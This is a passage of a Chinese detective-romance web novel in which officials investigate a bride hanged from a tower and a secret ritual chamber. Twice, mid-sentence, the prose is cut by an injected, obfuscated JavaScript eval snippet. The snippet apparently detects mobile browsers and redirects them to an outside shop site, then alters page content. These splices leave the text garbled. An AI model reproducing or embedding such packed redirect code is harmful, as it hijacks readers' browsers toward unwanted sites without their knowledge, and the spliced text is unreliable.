范公摸了摸胡子,不威自怒,“谢大人好大的威风。老夫致仕三年,早已不问朝堂政事,守着这方小院颐养天年,你今日带着衙役闯入私宅,凭的是什么?” 范夫人端了凉茶上来,“这是今年的新茶,大人尝尝。” 谢知津抿了口,“果真是好茶,多谢夫人。” “范公方才问我凭什么?就凭胡永碌的供词,我便可以将您拿回大理寺问询。” 他顿了顿,视线落在范仲荣抚须的手上,“听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711373|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说范大人常年供养高人,府中符咒遍布,符文满墙,莫非是在炼制什么见不得人的东西?还是说,那些高人告诉你,用活人骨骼能助你延年益寿,重返朝堂?” “老夫只是信些风水堪舆,图个心安,谢大人莫要听信奸人谗言,血口喷人!” 说至此时,范公也未动怒,只是耐心分说。 过府之前,谢知津同周蔚兵分两路。 周蔚先入府暗中查探,谢知津则从正门入,吸引范公注意。 周蔚带着余下三人再次兵分两路,查探东西花园。 东边花园倒没什么特别之地,唯有一大块假山石上。天色昏暗,也看不清什么。 周蔚用手摸,只觉得上头雕刻了什么符号,或者说是纹路。一路向下,于他胸口的位置,凹凸不平的石面被摩挲得发亮,显然是常年触摸所致。 周蔚推了下没推动,后又叫同行衙役帮忙。 四名衙役合力抵住假山石,随着一声闷响,石面被缓缓推开,露出一道仅容一人侧身通过的暗门。 门后飘来一股混杂着腐臭与草药的怪异气味,周蔚点亮火折子,昏黄的光线下,一条狭窄石阶蜿蜒向下延伸。 “跟上,小心脚下。”周蔚压低声音,作为先锋率先入内,另一个身手好的断后。 石阶湿滑,壁上凝结着水珠,走至尽头,竟是一间宽敞密室。 火光照亮处,墙边摆着数十个黑陶瓮,瓮口用生漆密封,臭味正是由此而来。 密室中央设着一张案几,上面摆满朱砂、符纸与数柄沾着暗红色污渍的青铜刀具,墙角还堆着几件破损的男子衣物,款式与失踪者画像上的颇为相似。 “大人,这里有暗格!”一名衙役惊呼。案几下方的地面石板松动,撬开后,里面藏着一本泛黄的簿册,上面密密麻麻记录着人名、八字与身高,末尾皆标注着已用或备选,其中几人正是官府在册的失踪者。 簿册最后一页写着范仲荣的生辰八字,旁注,吉日,庚子年秋启用。 暗道狭小,一有什么动静便会听的清楚。 周蔚听到地面突然传来急促的脚步声,命几人熄灭火折子,屏息静待。 暗门被推开,两名身着道袍的高人提着食盒走入。 “这门怎么开着?莫不是范公派人来寻咱们了?” 其中一个声音尖细的老道笑道,“莫不是觉得咱们差事办的好,给咱们送赏银来了?” 两人一起哄笑。 转角后,火折子的光照到密室中的周蔚几人时,两个老道还真以为他们是范公派来的人。 恭敬行礼,“四位大人,可是范公遣您来的?” 周蔚被过手去,平日里瞧着自家大人威风的样子,自己也学了起来,“倒不是范公,是我们大理寺,谢大人有请。” 两人听觉不对,转身便要逃。 可衙役刀已横在脖颈处,两个老道若是再动,可真是小命不保。 “二位,请吧!” 20. 补半章 “这几日要好好休息,医官开的药记得按时吃。” 明荔笑了下,水眸闪动,两个酒窝显得她灵动可爱,“知道啦,谢大人。” 谢知津目不转睛,面颊逐渐滚烫,向后退了小半步,拢紧衣袍,“早些回去休息吧,若明日有事我会来接你。” “那我先进去了,你也早点休息。” 说罢,明荔疾步进了园子,一边走一边拢着披风,“怎么这么冷啊。” 宁儿早便在房中及时递上热茶,“都说了不让您今日出去,下午才吃了药,多休息病才好的快,结果您非要出去受风。” 宁儿虽同她年纪差不多,可嘴一碎起来偏像个老者一样喋喋不休。 一口气喝了杯热茶下去身上顿觉暖了不少,她随口敷衍,“若不是今日出去了,怎能遇上这命案呢。” 正说着,窗外忽然传来几声轻叩,谢知津的声音隔着窗纸传来:“郡主,睡了吗?” 明荔连忙起身开窗,只见他递过来一个食盒。 “方才莫以新路过樊楼,买给你的。” 宁儿将食盒接过来,自觉退到一边。 “那我便谢谢莫护卫了。” “莫护卫倒还记得我爱吃这个。”里面是软酪和羊肉泡馍,她含着点心笑,酒窝陷得更深,长眸蹙着,狡黠的笑。 这种谎话,也就只能骗骗宁儿这种不经世事的小丫头片子。 想当年在大学里,她也是个老油条呢。 谢知津靠着窗子,若无其事的说,“他说你上次提过一次,正巧你风寒未痊,就顺路买来给你了。” “哦?顺路买的。” 她一边吃,一边问他,“你特意折回来,只是为了送点心?” 谢知津忽然正色,“还有一事。” 他从袖中取出一张折叠的纸笺递过去,“莫以新查到,苏青的陪嫁里,少了一只紫檀木匣子,据她的陪嫁婢女说,那匣子里装着苏姑娘从扬州带来的要紧东西,具体是什么,婢女也不清楚。” 明荔独自一人在他面前吃也不好意思,递给他一块,“我猜那个匣子里应该是有凶手想要的东西。” 两人手指无意间碰到时,谢知津下意识缩回手,耳尖泛红:“多谢。” “还有,入了洞房才发现人不见了,镇国公府的奴婢,小厮长随也不算少,她是怎么穿着一身嫁衣,从府中跑出来的呢。” “所以明日,我们先要盘问国公府的下人。”谢知津目标明确,随后明荔又逗弄他,“所以,大人还有事吗?” “没事的话便请回吧,我要休息了。” 说完话,明荔便已经把窗子关个严严实实。 昏黄的烛火下,窗子上投射出谢知津颀长的身形,“那我明早再来寻你去镇国公府。” “知道啦!”见他迟迟未走,明荔便吹了灯,钻到了被子里。 —— 翌日一早,谢知津便来了郡主府。 听下人说她还未起身,便将食盒给了厨房的管事,自己坐在院子里等。 宁儿约摸着时辰差不多了,才入房中唤她起来,“好郡主,您可快些起来吧,谢大人都在院子里喝了两盏茶了。” “那你怎么不早叫我。”她急忙趿鞋梳洗穿戴,“给我拿那件紫色的衣裙来罢。” 马车里熏了很淡的香,明荔靠在枕头上,吃谢知津买来的杏干。 “今儿一早,扬州那边来人了,说活要见人死要见尸,逼着镇国公府给个说法。镇国公也病着,家中之事都由大姑娘顾烟处置,因怕此事给顾二公子带来不好的影响,她希望咱们尽快查清案子。” 明荔顿了下,“只怕是难啊。以往的案子,死者身上都有致命伤,可苏娘子的尸体上什么也没有,若复验时在查不出什么来,那便只能劳烦大人拖着国公府那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734457|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 郡主府同国公府不远,说话的关口,马车已至国公府门前。 今日有风,院内灵幡和白绸翻飞,两位身着素衣的老者跪在灵前止不住的哭。 “我阿姐来时还好好的,怎么刚拜堂便过身了,你们还我阿姐。” 说话的是死者苏青的弟弟,看上去不过十五六岁的年纪。 在一旁站着的顾烟见了谢知津来,迎上来见礼,顾烟眼眶红肿,素色衣裙衬得面色愈发苍白,行过礼便急声道:“谢大人,郡主,劳烦二位亲自跑一趟。苏家人今早刚到,情绪激动,我实在安抚不住。” 她侧身引二人往里走,特意避开苏家人,又将声音压得极低,“我阿弟他至今不愿相信苏姑娘已去,一时伤心过度,闭门不出谁也不见。” 镇国公病了,国公夫人身子孱弱,二公子伤心过度。明荔想这一家人真是打的好算盘,左右权字当头,想来也不会出什么差错。 明荔目光扫过灵前痛哭的苏家二老,那少年还在捶胸顿足,引得周围仆妇频频侧目。 “苏姑娘身上无明显外伤,今日来,是想问问顾姐姐府中下人,大婚当日可有异常。”明荔问道。 谢知津补充道:“尤其是送苏姑娘入洞房后,有谁见过她,或是见过陌生面孔出入后院。” 顾烟连忙点头,吩咐管家去召集当日值守的仆妇,小厮。 众人聚在偏厅,神色各异,有惶恐的,有茫然的。 明荔先问了送苏青入洞房的两个陪嫁婢女:“你们将苏青送进房后,去了何处?房内可有异常?” 年长些的婢女春桃抹着泪:“送二夫人进来后,我们是一直侍候在侧的,后来二夫人说肚子饿了,便吩咐咱们去厨房寻些吃食来。可厨的婆子们实在是忙的不可开交,我们便等了一会儿。后来姑爷进来了咱们便也不敢进去打扰,再后来便是听姑爷说,二夫人不见了。” 21. 第 21 章 两人一路走至后花园,谢知津指着前方假山的方向道,“脚印便是在此处消失的。” “也就是说府中根本无人见过新娘的阵容,且根据昨日的验尸结果看,和顾舟拜堂的未必就是苏青。” 谢知津也同意这个说法,“该寻抬喜轿的人来问问了。” 苏青是半月前打扬州来的,陪嫁侍女阿珠寻了间屋子租住了半月,因着京州城内房价较贵,为了省银子便选了间面积适中,但离镇国公府稍远的住所。 因送嫁的人太多,谢知津便只叫了贴身婢女阿珠,和余下四个当时距离花轿比较近的人来。 “队伍行进途中,可曾发生过任何不寻常的事?哪怕再细微。”谢知津追问,目光扫过堂下所有的人。 众人面面相觑,努力回忆。 两位乐工说,“当时只顾着吹乐并未留意。” 另外两位是负责撒花瓣的老妇人,“我们也未曾瞧见。” “大人……”阿珠的声音细若蚊蚋,“奴婢,奴婢好像,听到了一点声音。” 所有人的目光瞬间集中到她身上。 “什么声音?说清楚!”谢知津喝道。 阿珠吓得一哆嗦,结结巴巴道:“就,就在花轿经过州桥的时候,桥下水流声有点大,奴婢好像听到附近传来一声很轻很轻的,像是猫叫?” “猫叫?”谢知津猛地抬头,眼中尽是疑窦。 “你确定是猫叫?不是别的声音?”谢知津盯着阿珠。 阿珠被他看得头皮发麻,几乎要哭出来:“奴婢,奴婢不确定,就,就是很短的一声‘喵’,很轻,当时吹吹打打的,奴婢还以为是自己听错了。” 明荔略一沉吟道,“阿珠你们从府中出来,一直到镇国公府,你一直陪在苏姑娘身边吗?” 阿珠眸子转了转,想起之前的事来,“我们来的时候随行的人少,便只有我和一个略会些拳脚的长随服侍,长随没办法入内殿,所以一直以来跟着姑娘的便只有我。起先我是和喜婆子一道在屋内的,后来我家姑娘的匣子丢了,那匣子里装的是我们姑娘母亲的遗物,我二人便一道去寻。” “遗物?”二人异口同声。 “我们刚在镇国公府见到了苏姑娘的双亲。”明荔解释道。 “林夫人并不是我们姑娘的亲生母亲,我们姑娘的母亲生下她便过世了。后来老爷又娶了林夫人,她待我们姑娘也是极其好的。” 谢知津了然,让她们退下后同明荔说,“看来你在镇国公府花园时的推测没错,在上花轿以前,苏青便已经被人劫走了。” “眼下,我要重新勘验尸体,看看她真正的死因究竟原何?” …… 阿珠所说的州桥离止花巷不远,州桥横跨在一条小河上,附近有树丛,若有野猫出没也是可能。 不过当日,花轿附近锣鼓声不绝,若猫儿在几丈开外的树丛中,阿珠定然听不到。 谢知津踢了一颗石子下去,水很深,那这猫叫是如何传来的? 适时,周蔚在桥下叫他,“大人,苏家二老正在大理寺击鼓鸣冤。” 自打得到女儿过身的消息,苏家二老一直要求镇国公府还一个公道来,那顾家大姐的态度倒是好,日夜给她们好吃好喝的供着,服侍周到,一提及苏青的死因,她便只说大理寺还未查清。二老没办法,便寻至大理寺。 眼下,已在大理寺门前跪了半盏茶的时间,门口乌泱泱的围了一群百姓,一时间众说纷纭。 “我看啊,此事定然是那顾二公子所为,我听说啊,那二公子好像是个断袖?”一位身着粗布衣衫的老人同旁边的人说。 那人一时来了兴趣,“你怎么知道的?” “内子在国公府做工,闲来无事同婆子们吃茶,一来二去的便都知道了。” “你们怎么不请他们进去。”谢知津质问周围的衙役。 那帮百姓瞧他骑马而来,自觉散开。 “回大人的话,她们偏偏要跪在这等您回来,我们也没法子。” 衙役们也为难,按照谢知津的吩咐驱散周围围观看戏的百姓。 “求大人还我阿姐一个公道。”苏青之弟苏朗跪着叩头。 “周蔚快请三位进去。” 内堂中,苏母刚坐下便拍着桌案哭号,“大人!我家阿青自幼乖巧,怎么就落得这般下场,求您做做主吧。” 苏父红着眼眶,强压着悲痛补充:“阿青出嫁前,曾托人捎信说,顾家二公子顾舟待她冷淡,定是那顾二公子不想娶我们阿青,又不敢违逆父母,这才杀害了我们女儿。” 明荔进了堂内见此状,忙命人奉上茶水。苏老夫人喝了口茶,情绪稍定,哽咽道:“大人,青儿自小没了亲娘,我们含辛茹苦将她养到这么大,还请大人为我们做主。” “伯母放心,我们一定会查出真凶给您一个交代的。”明荔轻声安抚,“听阿珠说,苏姑娘将一个木匣视为珍宝,敢问那匣子里装的都是什么物料?” 苏老夫人回道:“那匣子是她亲娘留下的唯一念想,里面只有一支玉簪,并无其他。” “那她平时可有得罪过什么人吗?”明荔继续问。 苏朗应声,“我阿姐性子柔弱,心地善良,怎会得罪过不良人?” 谢知津眉头微蹙:“除了阿珠还有人知晓那盒子内装的是何物吗?” “应该没有。”苏朗接过话头,“此事应当只有和我阿姐交好的或者贴身服侍的人才会知道。同我阿姐相熟的几位闺秀,都在扬州。贴身服侍的出了阿珠还有一位叫阿圆,不过阿圆早便已经不在府中服侍了。” “方才听你话的意思是顾二公子杀了你阿姐,你如何确信呢?”谢知津又问。 苏朗瞬间从方椅上跳起,“我便是知道,适才我听国公府的下人说,顾二公子在成亲前一日同我阿姐见了一面,定然是他做了什么见不得光的事。” “见了一面?”谢知津讶然,道,“去请阿珠过来。” 阿珠此刻正在府中收拾苏青的遗物,从妆奁里掏出了几封信,正想藏匿之时,周蔚走了进来。 她慌乱的背过手。 “你在藏什么?”周蔚扶着剑,上下打量她。 “没,没什么。” “给我!” 阿珠见事情不妙,颤颤巍巍的伸手将信交了出去。 “走吧,谢大人有请。” 至大理寺,阿珠先是给主家行礼,随后向谢知 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苏父气得胸膛剧烈起伏,指着阿珠的手不住颤抖,“孽障!这等不知廉耻之事,她怎能做得出来!” 苏母早已泣不成声,瘫坐在椅子上,喃喃自语:“我的青儿,怎么会……” 苏朗在一旁安慰。 “王闲是谁?他与苏青是何关系?”谢知津问。 “王公子是姑娘在扬州时的邻居,两人自幼相识,原是有情意的。”阿珠断断续续地说,“后来老爷说王公子家境贫寒,不肯应允这门亲事,还逼着他们断了联系。姑娘出嫁前几日,王公子还偷偷来见过她一次,两人在屋里哭了许久,姑娘说就算嫁入国公府,心里也只有他。” 明荔心中一动,追问:“成亲前一日,顾舟与苏青见面之事,你可知晓?” 阿珠一愣,随即摇头:“知晓的,王公子同顾公子是同一日来的,两人还在府中撞见了。” 听至此处,苏父更是怒火中烧,“你,你们!” 谢知津给了苏父一记眼刀,对阿珠说,“你可知王闲如今住在何处?” “就住在我们宅子后街。”阿珠越说越心虚,不敢看去家二老。 “周蔚,去将王闲带来。” 见苏老慢慢顺过气来,谢知津才好开口问,“这苏姑娘既然和王闲情投意合,你们又为何让他入顾家?” 这事说来也怪苏夫人,她原想着,镇国公府好歹是个皇亲国戚,苏家从商却也不想儿子也从商,便想借此姻亲关系给儿子苏朗留条后路。 虽说是存了私信,可镇国公府多好的去处,总比嫁给一个匹夫强得多,也不算继母薄待女儿。 “我祖上有位夫人家的女儿同镇国公府家的表姐儿交好,去年青儿同她一道来京州玩儿,见过了顾夫人。顾夫人觉得青儿聪明温婉便说想给二公子定下,当时还以为是玩笑话,谁知竟是真的。与其嫁给一个乡野匹夫草草一声,不如嫁进国公府,一辈子享不尽的荣华。” 父母爱之计则为之计深远,苏夫人这话也没有错,只不过没想到苏青会被别有用心之人加害。 “大人,王闲到了。” 22. 第 22 章 “王闲拜见谢大人,苏伯父,苏伯母,还请两位节哀。” 他好心宽慰,却不想受到怒呵,“你说,你偷偷约见我女儿做什么了?” “说啊!” 王闲虽家里不宽裕,可也读过书,体谅他们为人父母的艰难,心平气和道,“我只是想问问青儿,是否真的将我忘了,是否真要另嫁他人。” “你,你个无耻之徒!”苏朗万分激动,“当日扬州我阿姐明明已经拒绝过你了,你为何还来纠缠!” “我纠缠?”王闲眼中似已有泪,“明明就是你们嫌贫爱富不许我们在一起,青儿不想违逆父母,这才同我一刀两断。” 王闲潸然泪下,掩面哭泣,“阿青是不愿意嫁入顾府的,她曾同我说,顾府人情复杂,即便是嫁过去也是要受苦。所以我便问她,愿不愿意同我远走高飞。” “你竟然敢怂恿我阿姐?”苏朗质问。 “说下去!”谢知津呵退苏朗。 “阿青起先是不愿意的,我便也没有强迫她。可是就在她出嫁前一天,我们在慈云寺偶遇,她同我说她愿意同我一起走。于是便想按我们原来的计划行事。我不擅武,迎亲队伍中定然会有国公府擅武的人在,公然劫走喜轿定无成算。所以我们以猫儿声为号,在过州桥时,引燃烟雾筒,扰乱他们的视线,我二人藏在水下,届时便可脱身。” 明荔摇摇头,问,“那为何没有引燃烟雾筒?” 王闲也奇怪,“我也不知,明明说好的要一起走,可是那日我学了几声猫叫,都无人回应我。我还以为是阿青反悔了,哪知道是……” “那你们为何不在成婚之前便走,为何偏偏选在拜堂当天?”明荔又问。 谢知津的目光移到王闲身上,“阿青觉得,若是提前跑了说不定会连累父母,若是在大婚当天失踪便可以说是国公府护卫不周,这样一来也不至于把苏伯父他们都推向火坑。” 苏父苏母顿觉五雷轰顶,啼哭不止,“女儿,我的女儿啊……” “我在阿青怀里发现了一个符纸,你看看可认识?” 明荔将符纸递给王闲,让她仔细辨认。 王闲不信神佛,自然不知晓上头字的含义,不过这纸他一眼便认出,“这是慈云寺的符,我虽不认识字,但这纸是金箔纸慈云寺特有。” “阿珠,你家姑娘去慈云寺做什么?”谢知津转而问跪坐在地上的阿珠。 “回大人的话,我家姑娘是极其信奉神佛的,此去慈云寺便是想求婚姻美满。” 谢知津眉头微蹙,“既是求婚姻美满那为何要答应同王闲远走高飞,不是应当安分嫁入国公府吗?” 堂下的几人心里都起了疑雾。 阿珠也有些迟疑,“姑娘,姑娘许是心里矛盾吧。她既怕违逆父母,又舍不得王公子,求符或许是想求个心安,盼着神佛能给她指条明路。” 明荔眸色微沉,缓步走到阿珠面前,目光如炬,“指条明路?可这符纸并非祈福之用。据我所知,慈云寺的祈福符多用黄纸,金箔符纸唯有镇煞驱邪时才会使用。你家姑娘若真心求婚姻美满,为何要带一张驱邪符?” “那日姑娘让我在山门外等候,她独自一人进的大殿。等她出来时,神色有些恍惚,手里便多了这张符纸,让她随身带着保平安。” 明荔挑眉,“慈云寺住持圆空大师素来只赠黄纸祈福符,从不轻易用金箔符纸。是何人所赠?你需将那日情况如实讲来。” “那日姑娘进殿后,有个穿灰布僧袍的僧人主动上前搭话,说姑娘印堂发黑,恐有血光之灾,唯有此符能化解。姑娘本就心绪不宁,听他这般说,便求了这张符。” 谢知津反应极快:“那僧人样貌如何?可有什么特征?” “看不清样貌,他戴着宽大的斗笠,遮住了大半张脸,只露出下颌线,看着颇为瘦削。说话时声音沙哑,像是患了喉疾。”阿珠努力回忆着,“他还说,这符需贴身佩戴,不可让外人触碰,否则便会失灵。姑娘信以为真,便一直藏在怀里。” 谢知津颔首,“周蔚带阿珠姑娘去画像师傅处,待人像画出来以后,你便带人在城中各处查探。” “是,大人。” 堂内的苏父苏母哭声渐歇,望着谢知津和明荔的眼神里满是期盼,“谢大人,明姑娘,还请一定要查明真相,还阿青一个公道!” “既然无事了,那在下也先告辞了。” 王闲眼底乌漆墨黑的,很憔悴,苏青的死对她打击也很大,看着他离去,谢知津对明荔说:“提到苏青这王闲悲痛欲绝,倒不像是装出来的。” 苏家父母好一番跪求后便相互搀扶着出了大理寺,临走时明荔还嘱咐苏朗务必好好照顾他们。 偏厅内只剩下谢知津与明荔二人。 “这是方才验尸所得。”明荔将验状从袖中拿出。 同初验没有差别,死因为高空缺氧窒息而死。 “古塔较高,从拜堂至入洞房至少要一至两个时辰,当夜风大,死者身处高空,长时间悬挂引发呼吸不畅,导致死亡。” 窗外,天色不知何时暗了下来,乌云汇聚,似乎一场夏雨将至。 明荔瞧了眼外头的天色,起身过去关窗,继续解释验状,“还有喜服上的水渍,那应该是蒙汗药一类的东西,凶手应该是将她迷晕,随后在夜里将她吊到了塔顶,不过这以她一人之力无法做到,应该还有个帮手。” “此案如今还有两个疑点,其一,那位僧人的?其二,为何苏青又改变主意答应同王闲远走高飞。” 谢知津颔首,指尖轻叩桌面:“周蔚带着画像查探,若能找到那灰布僧人,便能解开这谜团。除此之外,顾府那边也需再查一番。” “顾府那边还是我去吧,我总觉得顾姐姐她好像不太喜欢你。” 明荔此言并非信口胡说,那日见过顾二公子后,顾荨把她叫到一边,拉着他说了好一会话。 “我跟你说方才我阿姐回屋中后发了好大的脾气,不知道是不是因为谢大人。” “怎么会呢,我们只是例行公事并未逾矩啊。” 顾荨是个没心没肺的,一有事便会往外说从不会藏着掖着,“估计是因为你们偷偷见了我二哥没提前报给她。 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“我阿兄是个没有大志向的人,平日里只喜欢吟诗作画,可我阿姐觉得,他是我们镇国公府唯一的男丁,应当承担起长子的责任,有时恨铁不成钢之时,会烧一些诗画警示阿兄。” “那,国公爷怎么说?” 顾荨忙吞下口里的糕点,“父亲自然是站在阿姐这边的啊,我偷偷告诉你,别看父亲在外头威风,回了家照样得听我阿姐的。” “原来顾大小姐在府中这般有威严。” 顾荨撇撇嘴,拿起一块桂花糕塞进嘴里,含糊不清,“可不是嘛,阿姐打小就厉害,无论是管家理事还是应付外头的场面,都做得滴水不漏,父亲常说,若阿姐是男子,镇国公府定会更上一层楼。” 她忽然压低声音,凑近明荔,“不过我总觉得,阿姐这几日心情格外不好,除了训斥阿兄,还总一个人在书房里发呆,连饭都吃得少。” “哦?”明荔抬眸,“是从何时起的?” “就从,苏青姐姐出事那天开始。”顾荨掰着手指想了想,“那天府里乱成一团,阿姐忙前忙后处理后续事宜,夜里我路过她书房,还看见烛火亮到后半夜。起初我以为是她忧心府中声誉,可后来发现,她似乎总在盯着什么东西出神,连我叫她都没听见。” 正说着,顾荨贴身嬷嬷走了进来,“三姑娘还是要在关心别人了,方才大姑娘那边的人传话来说,若是您三日之内再绣不出来一件像样的绣品,您这几日不用再出府了。” 嬷嬷将方才从顾烟手中取回来的绣样搁在了桌上,看她不大在意又接着说,“您还是不要指望二公子房中的阿圆帮您绣了,方才大姑娘说二公子这般不上进,下人也不知劝谏,赏了一顿板子,约摸着这几日阿圆都要好好休养了。” 顾荨拿起绣样,看的头痛,又把它丢回了桌上。 “阿圆?”明荔欣赏这牡丹花的针法,“不知这位姑娘是哪里人啊,竟然还会绣花。” 顾荨生无可恋的说,“苏州人,就连我阿姐的针法都比不过她,所以每次她一出手,我阿姐定会识破,因而每次我都让她故意绣的歪一些,这样还能糊弄过去。” 23. 第 23 章 因古塔年久失修,随时都有可能坍塌的缘故,谢知津只带了两个随行的人入内,其余人则在古塔周围进行勘验。 今日正在落雨,从塔顶往外瞧正能将京州美景一览无余。 谢知津走到之前悬挂尸体的位置,仰头仔细观察上方的斗拱结构。 “大人,您看这里。”身旁的捕快忽然低声提醒,伸手指向斗拱下方一根横梁。谢知津俯身细看,只见横梁侧面贴着一小片破碎的布料。 “大人,我们在除灰夫的手里得了这个。” 衙役呈上一个木制的、简陋的滑轮组。 “原来如此。” …… 说这周蔚得了画像便往慈云寺探查,得见主持后,便向他问询了那灰袍僧的下落。 “这人并非我慈云寺的人。”住持回忆道,“他打扬州来,路过我寺想剃度出家,我观他尘缘未了,便让他带发修行,赐号寂尘。” “现在何处?快带我们过去。”周蔚急着拿人。 “施主来的不巧,寂尘已于前日离开了。” 周蔚继续追问,“可知他去了何处?” “这老衲不知。” 几人于慈云寺无功而返,周蔚正向谢知津汇报时,底下的衙役慌忙冲入,“大人,有人来报,在城西的一处义庄里发现了一具尸体。” “义庄那边可有说死者身份?” “尚未查明,只说是被人发现倒在义庄后院的柴房里。” 谢知津翻身上马,衙役极有眼色的递上蓑衣,“周蔚,你带两人去慈云寺周边打探寂尘的行踪,务必查清他前日离寺后的去向。” “是!”周蔚领命转身,迅速召集人手而去。 雨幕中,两骑快马疾驰向城西。义庄外早已围了几名闻讯而来的衙役,见谢知津赶到连忙上前见礼:“大人。” 谢知津颔首,径直踏入义庄。 后院柴房弥漫着浓重的血腥气,混杂着雨水的潮湿,令人作呕。一具男尸倒在柴堆旁,胸口插着一把匕首,鲜血浸透了身下的干草,顺着缝隙蜿蜒流淌,在地面汇成一滩暗红。 “伤口深及心脏,是致命伤。”明荔蹲下身,小心翼翼地拨开死者的衣襟,仔细检查伤口,“凶手应该是趁死者不注意,在身后将匕首刺入。” 谢知津俯身细看,目光扫过死者的衣着,竟是一身半旧的灰袍,与画像上那灰袍僧的装扮有几分相似。 “你看他,像不像寂尘?” 明荔用手将他大半张脸遮住,“好像是有一些像。” “通知慈云寺的方丈,让他稍后去大理寺认尸。” 义庄看起来破旧,墙角爬满了青苔,几根朽坏的木梁歪斜地架在屋顶,似乎随时都会垮塌。 谢知津瞧了瞧身前的木桌,桌上只有一只破碗,茶壶搁在中央,壶口的方向是对着另外一面的。 “桌上的茶渍未干,他死前应该正在同人饮茶。” “的确。方才我查看了那壶中剩的茶水,里面被下了蒙汗药,凶手应该是知道自己打不过寂尘,所以先将他迷晕,然后再杀,理论上同苏青的死法一样。”明荔回道。 眼下,好似所有的线索都断了。 “今日你去顾府探查的如何?” 明荔头贴着马车,闭着眼睛休息,“我总觉得那个顾二公子有什么见不得光的事瞒着咱们。” 世家大族,有些龌龊事也难免。 谢知津从袖子里掏出一截银白色的线,“我让人莫以新查过了,这是鱼线。” 他将鱼线递过去:“你看看这材质。” 明荔接过鱼线在自己手腕上缠绕了一圈,“怪不得能受得住尸体,将几根鱼线合在一起都有可能将人活活勒死。” “而且这是南海特产的银丝鱼线,价格昂贵,寻常人家根本用不起。京州城里,只有一家铺子才有卖。” “而顾府恰好是他家的常客。”谢知津笑着看她,一副尽在掌握的样子,“据店家所说最近一月内,只有镇国公府的人来买过鱼线,还说镇国公喜垂钓,几乎每日都要在府中园子里钓鱼,有时来了兴致甚至忘了用饭。” “大人,国公府到了。”驾马的长随在外提醒。 谢知津收敛起笑意,掀开车帘跨步而下。如今已是申时,国公府众人正在六云堂用饭。 门房见是谢知津亲至,不敢怠慢,连忙躬身迎上:“谢大人驾临,有失远迎,快请进。” 过了游廊,便至六云堂。众人见他们来了,一时神色各异。 “是谢大人和郡主啊。”镇国公如今气色好了不少,说话时中气很足,“阿圆,给二位也添副碗筷吧。” “如此便多谢镇国公了。” 顾荨见明荔来,招呼她坐在她身边,“坐这儿,晌午的时候我要留你用饭,你偏不用,如今怎的又和谢大人一起来了。” 此时桌上正好有一道清蒸鲈鱼,婢女将鱼骨尽数剔除后,将鱼肉送至镇国公面前。 “听闻镇国公喜垂钓?” “正是。”镇国公执箸的手微微一顿,抬眼看向谢知津,“谢大人对此也有兴致?” 谢知津含笑落座,目光扫过桌上那盘清蒸鲈鱼,“晚辈只是好奇,国公爷平日垂钓,用的可是南海银丝鱼线?” 堂内霎时一静。 顾二公子执汤匙的手几不可察地一晃,勺沿碰在碗沿上发出清脆一响。 镇国公放下竹箸,捋须笑道:“谢大人好眼力。这银丝鱼线坚韧非常,确是老夫最爱。怎么,查案竟查到老夫的钓具上来了?” “不敢。”谢知津从容执起茶盏,“只是日前塔楼悬尸案中,凶犯所用正是这等鱼线。既在国公府上见到,少不得多问一句,府上近日可曾遗失过此物?” 顾烟忽然轻轻‘啊’了一声,“前日整理库房,确实少了一卷银丝线。原以为是哪个手脚不干净的仆役拿了,莫非……” “难不成这贼人竟在我们府中吗?”顾荨将话接了过去,惊恐的不成样子。 明荔安抚道:“你莫要怕,如今种种都只是我们的猜测而已。” 镇国公脸色沉了沉,看向顾烟:“既少了东西,为何不早说?” 顾烟垂着眼,纤长的睫毛在眼下投出一片浅影,声音轻柔的便像外头洒落的细雨一般 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老仆想了想:“约莫是三四日前?那日二公子来取过一次鱼线,说是午后要去湖边钓鱼,后来傍晚还回来时,小人清点就发现少了一卷。当时以为是二公子多取了,可问了二公子身边的阿圆,却说没有,小人正发愁呢。” 顾舟闻言,面色微变,“杜伯记错了吧?那日我取了鱼线便直接去了湖边,并未多取。” 杜管家浑浊的眼睛里闪过一丝困惑,却仍是恭敬地回话:“二公子,老奴虽年迈,但这记性还不至于糊涂,那日您走后便再无人来取鱼线,若不是您拿走了鱼线,还会有何人呢?” 堂内气氛陡然凝滞。顾荨不安地攥紧了手中的帕子,顾烟则垂眸不语,纤长的手指无意识地摩挲着茶杯边缘。 谢知津目光锐利,看向顾舟:“二公子,此事关乎人命,还请仔细回想。” 顾舟瞧着镇国公的目光也看了过来,于是起身拱手行礼,“回禀父亲,儿子当真只拿了一卷鱼线。” “那日与你同去的还有何人?”顾烟问道。 “回长姐的话,还有阿圆。” 阿圆听见后跪在地上,“回大人,镇国公,大姑娘的话,二公子的确只拿了一卷鱼线。” “那会不会是有人翻窗潜入?”明荔问道。 “你有所不知,杜管家所在的那间库房里面存放的都是一些珠宝首饰,翡翠玉石什么的,我父亲就是怕有贼人偷偷潜入,所以将那里的窗户都堵死了,门口还有两个有功夫在身上的小厮守着,所以翻窗是不大可能的。”顾荨开解道,“若是有人硬闯势必要引起一翻撕斗,我们不可能不觉察。” 镇国公爽朗笑笑,“的确如此,会不会有人花重金从店中购得?” “据店家所说,近一月内只有国公府来人买过此鱼线。”谢知津略一沉吟,又看向重新坐到位置上的顾舟,“在下还有一事要问问二公子。” “据苏青的女婢阿珠所说,成婚前几日你偷偷去见了苏青,不知二公子和苏姑娘说了什么,可否如实相告?” 